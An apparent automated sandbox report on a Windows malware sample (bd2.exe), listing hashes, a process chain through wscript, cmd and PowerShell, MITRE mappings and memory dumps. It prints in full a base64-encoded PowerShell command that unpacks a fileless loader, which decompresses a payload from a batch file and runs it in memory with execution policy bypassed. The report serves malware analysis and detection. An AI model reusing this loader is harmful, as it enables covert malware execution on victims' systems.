55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77

General

Target

bd2.exe
Size

271KB
MD5

8b8db4eaa6f5368eb5f64359c6197b43
SHA1

e9b51842e2d2f39fa06e466ae73af341ddffe1c8
SHA256

55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77
SHA512

4da734da30af148f246f433b71c72677b9f78698424db15eba364233dff183cb998f9be13d2832872829ac545be1e15ff75ceb85fca3fd0784265fd576db0056
SSDEEP

6144:xfL+oq+hnjsVl3dRQTLU+2bRRR17+fYHPfIMDPSBJ7Y/B4aSi3V:xfL5njsVlNuc++Rj17+fYHPfIg4Y54ap

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2628 powershell.exe
2644 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2628 powershell.exe
Token: SeDebugPrivilege 2644 powershell.exe

pid	process
2628	powershell.exe
2644	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

bd2.exewscript.execmd.exe

description	pid	process	target process
PID 2936 wrote to memory of 2164	2936	bd2.exe	wscript.exe
PID 2936 wrote to memory of 2164	2936	bd2.exe	wscript.exe
PID 2936 wrote to memory of 2164	2936	bd2.exe	wscript.exe
PID 2936 wrote to memory of 2164	2936	bd2.exe	wscript.exe
PID 2164 wrote to memory of 2916	2164	wscript.exe	cmd.exe
PID 2164 wrote to memory of 2916	2164	wscript.exe	cmd.exe
PID 2164 wrote to memory of 2916	2164	wscript.exe	cmd.exe
PID 2164 wrote to memory of 2916	2164	wscript.exe	cmd.exe
PID 2916 wrote to memory of 2628	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 2628	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 2628	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 2628	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 2644	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 2644	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 2644	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 2644	2916	cmd.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\bd2.exe
"C:\Users\Admin\AppData\Local\Temp\bd2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2936

C:\Windows\SysWOW64\wscript.exe
"wscript.exe" "C:\Users\Admin\start.vbs"
2⤵
- Suspicious use of WriteProcessMemory
PID:2164

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\temp.bat" "
3⤵
- Suspicious use of WriteProcessMemory
PID:2916

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2628

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2628-8-0x00000000745A0000-0x0000000074B4B000-memory.dmp

Filesize
5.7MB

Download
memory/2628-12-0x0000000002780000-0x00000000027C0000-memory.dmp

Filesize
256KB

Download
memory/2628-11-0x0000000002780000-0x00000000027C0000-memory.dmp

Filesize
256KB

Download
memory/2628-10-0x0000000002780000-0x00000000027C0000-memory.dmp

Filesize
256KB

Download
memory/2628-9-0x00000000745A0000-0x0000000074B4B000-memory.dmp

Filesize
5.7MB

Download
memory/2628-14-0x00000000745A0000-0x0000000074B4B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-21-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2644-24-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2644-23-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2644-22-0x0000000074560000-0x0000000074B0B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-20-0x0000000074560000-0x0000000074B0B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-27-0x0000000074560000-0x0000000074B0B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-28-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2644-29-0x0000000074560000-0x0000000074B0B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-30-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2644-31-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download

Analysis

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